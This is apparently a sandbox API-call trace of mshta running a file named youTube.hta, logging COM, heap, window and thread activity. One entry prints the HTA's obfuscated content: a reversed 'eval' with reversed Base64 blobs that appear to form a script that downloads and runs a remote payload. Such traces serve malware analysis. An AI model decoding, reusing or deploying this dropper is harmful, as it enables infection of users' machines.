[0195.288] IInternetProtocolSink:ReportData (This=0x6dae64, grfBSCF=0x5, ulProgress=0xd0e, ulProgressMax=0xd0e) returned 0x0
[0195.288] IUnknown:QueryInterface (in: This=0x6c5dd8, riid=0x6dc9e90c*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x19cf68 | out: ppvObject=0x19cf68*=0x0) returned 0x80004002
[0195.288] IUnknown:QueryInterface (in: This=0x6c5dd8, riid=0x6dc9e934*(Data1=0x79eac9d6, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x19cf78 | out: ppvObject=0x19cf78*=0x0) returned 0x80004002
[0195.289] IUnknown:Release (This=0x6dae64) returned 0x7
[0195.289] IUnknown:AddRef (This=0x6dae64) returned 0x8
[0195.289] IInternetProtocolSink:ReportResult (This=0x6dae64, hrResult=0x0, dwError=0x0, szResult=0x0) returned 0x0
[0195.289] IUnknown:Release (This=0x6dae64) returned 0x7
[0195.289] IUnknown:Release (This=0x6dae64) returned 0x6
[0195.292] IUnknown:Release (This=0x6c4c5c) returned 0x13
[0195.293] IUnknown:Release (This=0x6c0b60) returned 0x1
[0195.293] IUnknown:Release (This=0x6c4c5c) returned 0x12
[0195.349] IUnknown:Release (This=0x6c4c5c) returned 0x11
[0195.349] CoTaskMemFree (pv=0x0)
[0195.349] GetCurrentThreadId () returned 0x7a0
[0195.349] GetCurrentProcessId () returned 0x7a4
[0195.350] GetCurrentThreadId () returned 0x7a0
[0195.350] memcpy_s (in: _Destination=0x19f6f4, _DestinationSize=0xc, _Source=0x6450ce0, _SourceSize=0xc | out: _Destination=0x19f6f4) returned 0x0
[0195.350] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x68) returned 0x6daee8
[0195.350] MulDiv (nNumber=3342, nNumerator=4000, nDenominator=3342) returned 4000
[0195.351] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.351] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.351] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.352] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x5c) returned 0x6df750
[0195.352] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x24) returned 0x6da370
[0195.352] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100) returned 0x6df7b8
[0195.352] IUnknown:QueryInterface (in: This=0x6c5dd8, riid=0x6ddc2570*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x19f46c | out: ppvObject=0x19f46c*=0x6c5dd8) returned 0x0
[0195.353] IInternetProtocol:Read (in: This=0x6c5dd8, pv=0x6df7c4, cb=0xc8, pcbRead=0x19f564 | out: pv=0x6df7c4, pcbRead=0x19f564*=0xc8) returned 0x0
[0195.354] IUnknown:Release (This=0x6c5dd8) returned 0x2
[0195.354] memcpy_s (in: _Destination=0x19f60c, _DestinationSize=0xc8, _Source=0x6df7c4, _SourceSize=0xc8 | out: _Destination=0x19f60c) returned 0x0
[0195.355] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0195.355] GetProcAddress (hModule=0x70a40000, lpProcName="CoInternetIsFeatureEnabledForUrl") returned 0x70aa7870
[0195.355] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f504 | out: lpflOldProtect=0x19f504*=0x4) returned 1
[0195.356] CoInternetIsFeatureEnabledForUrl (FeatureEntry=0x3, dwFlags=0x2, szURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pSecMgr=0x0) returned 0x1
[0195.357] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0195.357] GetProcAddress (hModule=0x70a40000, lpProcName="ReleaseBindInfo") returned 0x70a6e690
[0195.362] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f510 | out: lpflOldProtect=0x19f510*=0x4) returned 1
[0195.363] ReleaseBindInfo (pbindinfo=0x19f5b8)
[0195.370] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0195.371] GetProcAddress (hModule=0x70a40000, lpProcName="FindMimeFromData") returned 0x70ab68a0
[0195.371] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f4c4 | out: lpflOldProtect=0x19f4c4*=0x4) returned 1
[0195.371] FindMimeFromData (in: pBC=0x0, pwzUrl="C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta", pBuffer=0x19f60c, cbSize=0xc8, pwzMimeProposed="application/hta", dwMimeFlags=0x6, ppwzMimeOut=0x19f564, dwReserved=0x0 | out: ppwzMimeOut=0x19f564*="application/hta") returned 0x0
[0195.379] CoTaskMemFree (pv=0x6c6730)
[0195.379] CoInternetIsFeatureEnabledForUrl (FeatureEntry=0x3, dwFlags=0x2, szURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pSecMgr=0x0) returned 0x1
[0195.380] StrCmpNIW (lpStr1="applic", lpStr2="image/", nChar=6) returned -1
[0195.380] GetCurrentThreadId () returned 0x7a0
[0195.380] GetCurrentThreadId () returned 0x7a0
[0195.381] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f48c | out: lpCPInfo=0x19f48c) returned 1
[0195.381] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="application/hta", cchCount1=7, lpString2="charset", cchCount2=7) returned 1
[0195.381] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1006) returned 0x6c6ad0
[0195.381] memcpy_s (in: _Destination=0x6c6ad0, _DestinationSize=0x1000, _Source=0x6df7c4, _SourceSize=0xc8 | out: _Destination=0x6c6ad0) returned 0x0
[0195.381] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6df7b8, Size=0x4000) returned 0x6dfc10
[0195.382] IUnknown:QueryInterface (in: This=0x6c5dd8, riid=0x6ddc2570*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x19f33c | out: ppvObject=0x19f33c*=0x6c5dd8) returned 0x0
[0195.383] IInternetProtocol:Read (in: This=0x6c5dd8, pv=0x6dfce4, cb=0xf38, pcbRead=0x19f430 | out: pv=0x6dfce4, pcbRead=0x19f430*=0xc46) returned 0x1
[0195.383] IUnknown:Release (This=0x6c5dd8) returned 0x2
[0195.383] memcpy_s (in: _Destination=0x6c6b98, _DestinationSize=0xf38, _Source=0x6dfce4, _SourceSize=0xc46 | out: _Destination=0x6c6b98) returned 0x0
[0195.384] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2000) returned 0x6e3c18
[0195.384] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x6c6ad0, cbMultiByte=3342, lpWideCharStr=0x6e3c18, cchWideChar=3342 | out: lpWideCharStr="
lave
=YXYyBCZvdXWvVHI9AibldHIBNGdpZXZY9kYqV2Y0hiItNHetxmMugXbshGd0BnIpsDZvdXWvVnLvBXZuhiIHVEViwCIigGd0BnOv8ydp5mcl5Gdhx2cyATM3ImLj9WbvQXZnp3LRJzN3E2R3Y0aOlDcBNWYXRkZGx2ROJUZ1FWcHVGZ4k2LiF2VlhHVR92R5FUQ6xkUvEUVxgVRyJXVxYUa0pmaWhjQCFWU1VWb2UzctFFWZZXek9iN0AjNz8yZ2YmSZx0RIJlVXB3NzFDd2hkbaRmdvg1YqNWWDpmQYhDdQFWQMNHapRUQ4hTNQVUcvMWYiNzPyVmZ9ADdmclePpVP5gXeBlGZOZiezQWOPJGM9U0dBV1aVVlT5h0crZSdzVmc9QjWrlHO54mJjlGZ9IWR1klQPZUeaZ3VIJ2R2lzdQJ3NRZVbmEXPsl1anplTHl1baBXd5ICLgYWYsNXZpsDZvdXWvVnLzVmbkhSK7kmZoQ2b3l1b15yc0FGd1NHI90DIyADMpsHdyl3e2FmcgcWayxGTvZXZg0DIuV2dgE0Y0lmdlh1TipWZjRHKiEGZvRmYuMHdyVWYtJSK7cWayxGTvZXZu8Gcl52Onlmcsx0b2VmL0lHclBSPgEzOnlmcsx0b2VmL3JXa0VGKk92dZ9WduIXZzB3buNXZi9GZ5lyOnlmcsx0b2VmLzFmdlR3bmlGblhiIjpDXcV3clJ3ccxFc1JGbpNGXcR2b35UZ4RnLqB3ZiwCIykyOnlmcsx0b2VmLjx2bzV2O9NWY0NGaoUWK71Xf|||==gdhJHIs9mdlxUarVGI9AibldHIBNGdpZXZY9kYqV2Y0hiI3N3YylGc05ycoVGbsJSK7YXYyByahJ3bsR0b3B1b3BSPg4WZ3BSQjRXa2VGWPJmalNGdoIycjJXawRXaudmLmlGblNXezRXZt9mYqV2Y0JSK7w2b2VGTptWZuIXduhiIyV2ZzZnczIDIjpDXcV3clJ3ccxFc1JGbpNGXcR2b35UZ4RnLqB3ZikyO
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=
\r\n") returned 3342
[0195.385] GetCurrentThreadId () returned 0x7a0
[0195.508] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e3c18 | out: hHeap=0x6b0000) returned 1
[0195.508] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c6ad0 | out: hHeap=0x6b0000) returned 1
[0195.508] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.509] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.509] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.509] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.509] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.509] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.510] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.510] GetCurrentThreadId () returned 0x7a0
[0195.510] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.510] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0195.511] GetProcAddress (hModule=0x70a40000, lpProcName=0x1be) returned 0x70aac820
[0195.511] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f42c | out: lpflOldProtect=0x19f42c*=0x4) returned 1
[0195.511] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.511] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f3e4 | out: lpCPInfo=0x19f3e4) returned 1
[0195.511] IUnknown:AddRef (This=0x6c52e0) returned 0x4
[0195.511] IUnknown:AddRef (This=0x6c4c5c) returned 0x12
[0195.512] IUnknown:QueryInterface (in: This=0x6c4c5c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x19f3b8 | out: ppvObject=0x19f3b8*=0x6c4c5c) returned 0x0
[0195.512] IUnknown:Release (This=0x6c4c5c) returned 0x12
[0195.512] IUnknown:AddRef (This=0x6c4c5c) returned 0x13
[0195.512] IUri:GetScheme (in: This=0x6c4c5c, pdwScheme=0x19f3fc | out: pdwScheme=0x19f3fc*=0x9) returned 0x0
[0195.512] IUri:GetScheme (in: This=0x6c4c5c, pdwScheme=0x19f3dc | out: pdwScheme=0x19f3dc*=0x9) returned 0x0
[0195.512] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="application/hta", cchCount1=7, lpString2="charset", cchCount2=7) returned 1
[0195.513] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.513] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x29c
[0195.513] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x2a4
[0195.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x6e2fcca0, lpParameter=0x640c3c0, dwCreationFlags=0x0, lpThreadId=0x640c3d4 | out: lpThreadId=0x640c3d4*=0xdf4) returned 0x2ec
[0195.514] GetCurrentThreadId () returned 0x7a0
[0195.514] SetEvent (hEvent=0x29c) returned 1
[0195.514] GetCurrentThreadId () returned 0x7a0
[0195.515] IUnknown:Release (This=0x6c4c5c) returned 0x12
[0195.515] IUnknown:Release (This=0x6d9db4) returned 0x2
[0195.515] IUnknown:Release (This=0x6c2280) returned 0x3
[0195.515] IUnknown:Release (This=0x6c4c5c) returned 0x11
[0195.515] IUnknown:Release (This=0x6c4c5c) returned 0x10
[0195.515] IUnknown:Release (This=0x6c4c5c) returned 0xf
[0195.515] IUnknown:Release (This=0x6c2280) returned 0x2
[0195.515] IUnknown:Release (This=0x6c4c5c) returned 0xe
[0195.515] CoTaskMemFree (pv=0x6d98c0)
[0195.515] CoTaskMemFree (pv=0x0)
[0195.515] IUnknown:Release (This=0x6c4c5c) returned 0xd
[0195.515] CoTaskMemFree (pv=0x6d27a8)
[0195.516] GetClientRect (in: hWnd=0x40264, lpRect=0x19fe24 | out: lpRect=0x19fe24) returned 1
[0195.516] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.516] GetClientRect (in: hWnd=0x40264, lpRect=0x641c12c | out: lpRect=0x641c12c) returned 1
[0195.516] OffsetRect (in: lprc=0x641c12c, dx=0, dy=0 | out: lprc=0x641c12c) returned 1
[0195.516] OffsetRect (in: lprc=0x641c13c, dx=0, dy=0 | out: lprc=0x641c13c) returned 1
[0195.517] RegisterClassExW (param_1=0x19faf0) returned 0xc0f0
[0195.517] CoCreateInstance (in: rclsid=0x6dcc3048*(Data1=0x50d5107a, Data2=0xd278, Data3=0x4871, Data4=([0]=0x89, [1]=0x89, [2]=0xf4, [3]=0xce, [4]=0xaa, [5]=0xf5, [6]=0x9c, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x401, riid=0x6dcc3038*(Data1=0x8c0e040, Data2=0x62d1, Data3=0x11d1, Data4=([0]=0x93, [1]=0x26, [2]=0x0, [3]=0x60, [4]=0xb0, [5]=0x67, [6]=0xb8, [7]=0x6e)), ppv=0x6ee33c74 | out: ppv=0x6ee33c74*=0x6c6a50) returned 0x0
[0195.883] CActiveIMMAppEx_Trident:IActiveIMMApp:FilterClientWindows (This=0x6c6a50, aaClassList=0x19fbc4*=0xc0f0, uSize=0x1) returned 0x0
[0195.883] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc0f0, lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=1064, nHeight=585, hWndParent=0x40264, hMenu=0x0, hInstance=0x6dc70000, lpParam=0x6420000) returned 0x3029a
[0195.884] SetWindowLongW (hWnd=0x3029a, nIndex=-21, dwNewLong=104988672) returned 0
[0195.884] GetWindowLongW (hWnd=0x3029a, nIndex=-20) returned 0
[0195.884] GetAncestor (hwnd=0x3029a, gaFlags=0x2) returned 0x40264
[0195.884] GetWindowLongW (hWnd=0x40264, nIndex=-20) returned 262400
[0195.884] GetWindowLongW (hWnd=0x3029a, nIndex=-20) returned 0
[0195.884] GetParent (hWnd=0x3029a) returned 0x40264
[0195.885] GetWindowLongW (hWnd=0x40264, nIndex=-20) returned 262400
[0195.885] GetParent (hWnd=0x40264) returned 0x403c0
[0195.885] GetWindowLongW (hWnd=0x403c0, nIndex=-20) returned 256
[0195.885] GetParent (hWnd=0x403c0) returned 0x0
[0195.885] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x6c6a50, hWnd=0x3029a, msg=0x81, wParam=0x0, lParam=0x19f750*=104988672, plResult=0x19f58c | out: plResult=0x19f58c) returned 0x1
[0195.885] NtdllDefWindowProc_W () returned 0x1
[0195.885] GetCurrentThreadId () returned 0x7a0
[0195.885] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0195.886] GetCurrentThreadId () returned 0x7a0
[0195.886] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0195.886] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x6c6a50, hWnd=0x3029a, msg=0x1, wParam=0x0, lParam=0x19f750*=104988672, plResult=0x19f58c | out: plResult=0x19f58c) returned 0x1
[0195.886] NtdllDefWindowProc_W () returned 0x0
[0195.886] GetCurrentThreadId () returned 0x7a0
[0195.886] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0195.886] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x6c6a50, hWnd=0x3029a, msg=0x5, wParam=0x0, lParam=0x2490428, plResult=0x19f5d8 | out: plResult=0x19f5d8) returned 0x1
[0195.886] NtdllDefWindowProc_W () returned 0x0
[0195.887] GetCurrentThreadId () returned 0x7a0
[0195.887] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0195.887] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x6c6a50, hWnd=0x3029a, msg=0x3, wParam=0x0, lParam=0x0, plResult=0x19f5d8 | out: plResult=0x19f5d8) returned 0x1
[0195.887] NtdllDefWindowProc_W () returned 0x0
[0195.887] GetCurrentThreadId () returned 0x7a0
[0195.887] NtdllDefWindowProc_W () returned 0x0
[0195.887] GetWindowRect (in: hWnd=0x3029a, lpRect=0x19f9a8 | out: lpRect=0x19f9a8) returned 1
[0195.887] GetParent (hWnd=0x3029a) returned 0x40264
[0195.887] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40264, lpPoints=0x19f9a8, cPoints=0x2 | out: lpPoints=0x19f9a8) returned -10485898
[0195.887] GetClassNameW (in: hWnd=0x40264, lpClassName=0x19f9b8, nMaxCount=256 | out: lpClassName="HTML Application Host Window Class") returned 34
[0195.887] GetWindowThreadProcessId (in: hWnd=0xa01d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0195.888] GetCurrentThreadId () returned 0x7a0
[0195.888] CActiveIMMAppEx_Trident:IActiveIMMApp:Activate (This=0x6c6a50, fRestoreLayout=1) returned 0x0
[0195.888] SendMessageW (hWnd=0x3029a, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0
[0195.888] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0195.888] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x6c6a50, hWnd=0x3029a, msg=0x129, wParam=0x0, lParam=0x0, plResult=0x19fa74 | out: plResult=0x19fa74) returned 0x1
[0195.888] NtdllDefWindowProc_W () returned 0x0
[0195.888] GetCurrentThreadId () returned 0x7a0
[0195.888] LoadLibraryExW (lpLibFileName="ext-ms-win-ntuser-touch-hittest-l1-1-0.dll", hFile=0x0, dwFlags=0x0) returned 0x74790000
[0195.888] GetProcAddress (hModule=0x74790000, lpProcName="RegisterTouchHitTestingWindow") returned 0x747cc9a0
[0195.888] RegisterTouchHitTestingWindow (hwnd=0x3029a, value=0x1) returned 1
[0195.889] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.889] QISearch (in: that=0x641e480, pqit=0x6dc9ca98, riid=0x6dc9caa8*(Data1=0xa5200748, Data2=0x18ae, Data3=0x4da5, Data4=([0]=0x93, [1]=0xaf, [2]=0x0, [3]=0x19, [4]=0x47, [5]=0x70, [6]=0x3, [7]=0xa1)), ppv=0x6420e00 | out: that=0x641e480, ppv=0x6420e00*=0x641e480) returned 0x0
[0195.890] IntersectRect (in: lprcDst=0x19fc24, lprcSrc1=0x641c12c, lprcSrc2=0x641c13c | out: lprcDst=0x19fc24) returned 1
[0195.890] EqualRect (lprc1=0x19fc24, lprc2=0x641c12c) returned 1
[0195.890] InvalidateRect (hWnd=0x3029a, lpRect=0x0, bErase=1) returned 1
[0195.890] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x9990) returned 0x6ed528
[0195.891] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x110) returned 0x6f6ec0
[0195.891] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xb0) returned 0x6f6fd8
[0195.891] InitOnceExecuteOnce (in: InitOnce=0x6ee3927c, InitFn=0x6e32e660, Parameter=0x0, Context=0x0 | out: InitOnce=0x6ee3927c, Parameter=0x0, Context=0x0) returned 1
[0195.891] GetProcessHeap () returned 0x6b0000
[0195.891] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x30) returned 0x6d0fa0
[0195.891] GetCurrentProcessId () returned 0x7a4
[0195.891] ProcessIdToSessionId (in: dwProcessId=0x7a4, pSessionId=0x19faec | out: pSessionId=0x19faec) returned 1
[0195.891] WTSGetActiveConsoleSessionId () returned 0x1
[0195.891] EnumDisplaySettingsW (in: lpszDeviceName=0x0, iModeNum=0xffffffff, lpDevMode=0x19fb18 | out: lpDevMode=0x19fb18) returned 1
[0195.894] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.894] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.895] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.895] GetWindowThreadProcessId (in: hWnd=0xa01d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0195.895] GetCurrentThreadId () returned 0x7a0
[0195.895] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x90) returned 0x6f7090
[0195.895] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x34) returned 0x6ebc40
[0195.896] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.896] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x24) returned 0x6da280
[0195.896] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.896] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.896] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.896] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6c) returned 0x6f7128
[0195.897] memcpy_s (in: _Destination=0x19efe0, _DestinationSize=0xc28, _Source=0x6ee393e0, _SourceSize=0xc28 | out: _Destination=0x19efe0) returned 0x0
[0195.900] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.900] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.900] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.900] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0195.901] GetProcAddress (hModule=0x76150000, lpProcName=0x8) returned 0x76162590
[0195.901] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19ee14 | out: lpflOldProtect=0x19ee14*=0x4) returned 1
[0195.902] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.903] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.903] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.903] QueryPerformanceCounter (in: lpPerformanceCount=0x64209e0 | out: lpPerformanceCount=0x64209e0*=3013064557330) returned 1
[0195.903] GetCurrentThreadId () returned 0x7a0
[0195.903] GetCurrentThreadId () returned 0x7a0
[0195.903] GetCurrentThreadId () returned 0x7a0
[0195.905] QueryPerformanceCounter (in: lpPerformanceCount=0x19fb98 | out: lpPerformanceCount=0x19fb98*=3013064712432) returned 1
[0195.905] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.905] QueryPerformanceCounter (in: lpPerformanceCount=0x19fb1c | out: lpPerformanceCount=0x19fb1c*=3013064740465) returned 1
[0195.905] QueryPerformanceCounter (in: lpPerformanceCount=0x19fb08 | out: lpPerformanceCount=0x19fb08*=3013064750905) returned 1
[0195.905] QueryPerformanceCounter (in: lpPerformanceCount=0x19faac | out: lpPerformanceCount=0x19faac*=3013064756869) returned 1
[0195.905] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.905] SetCoalescableTimer (hWnd=0xa01d6, nIDEvent=0x2002, uElapse=0x1f4, lpTimerFunc=0x0, uToleranceDelay=0x0) returned 0x2002
[0195.905] GetWindowThreadProcessId (in: hWnd=0xa01d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0195.905] GetCurrentThreadId () returned 0x7a0
[0195.905] QueryPerformanceCounter (in: lpPerformanceCount=0x19faa4 | out: lpPerformanceCount=0x19faa4*=3013064801137) returned 1
[0195.906] QueryPerformanceCounter (in: lpPerformanceCount=0x19f9c4 | out: lpPerformanceCount=0x19f9c4*=3013064816419) returned 1
[0195.906] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.906] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.906] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.906] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.906] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x304
[0195.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x6e2fcca0, lpParameter=0x645c000, dwCreationFlags=0x0, lpThreadId=0x645c014 | out: lpThreadId=0x645c014*=0x4dc) returned 0x300
[0195.907] SetEvent (hEvent=0x304) returned 1
[0195.907] WTSGetActiveConsoleSessionId () returned 0x1
[0195.907] QueryPerformanceFrequency (in: lpFrequency=0x19f918 | out: lpFrequency=0x19f918*=100000000) returned 1
[0195.907] QueryPerformanceCounter (in: lpPerformanceCount=0x19f910 | out: lpPerformanceCount=0x19f910*=3013064973470) returned 1
[0195.907] _vsnwprintf (in: _Buffer=0x19f9a0, _BufferCount=0x4f, _Format="VSyncHelper-%p-%I64x", _ArgList=0x19f92c | out: _Buffer="VSyncHelper-006D0FA0-703ed3a86") returned 30
[0195.907] RegisterClassW (lpWndClass=0x19f978) returned 0xc243
[0195.908] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc243, lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x0, lpParam=0x6d0fa0) returned 0x203d8
[0195.909] GetWindowLongW (hWnd=0x203d8, nIndex=-21) returned 0
[0195.909] NtdllDefWindowProc_W () returned 0x0
[0195.909] GetWindowLongW (hWnd=0x203d8, nIndex=-21) returned 0
[0195.909] NtdllDefWindowProc_W () returned 0x1
[0195.910] GetWindowLongW (hWnd=0x203d8, nIndex=-21) returned 0
[0195.910] NtdllDefWindowProc_W () returned 0x0
[0195.911] GetWindowLongW (hWnd=0x203d8, nIndex=-21) returned 0
[0195.911] NtdllDefWindowProc_W () returned 0x0
[0195.911] SetWindowLongW (hWnd=0x203d8, nIndex=-21, dwNewLong=7147424) returned 0
[0195.911] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x308
[0195.911] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x8000004, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28, lpName=0x0) returned 0x30c
[0195.912] MapViewOfFile (hFileMappingObject=0x30c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28) returned 0xb90000
[0195.912] GetCurrentProcessId () returned 0x7a4
[0195.912] GetCurrentThreadId () returned 0x7a0
[0195.912] GetProcessHeap () returned 0x6b0000
[0195.912] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x90) returned 0x6f71a0
[0195.912] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x19f898, lpTimeIncrement=0x19f8ac, lpTimeAdjustmentDisabled=0x19f89c | out: lpTimeAdjustment=0x19f898, lpTimeIncrement=0x19f8ac, lpTimeAdjustmentDisabled=0x19f89c) returned 1
[0195.912] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x310
[0195.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x6e057440, lpParameter=0x6f71a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x314
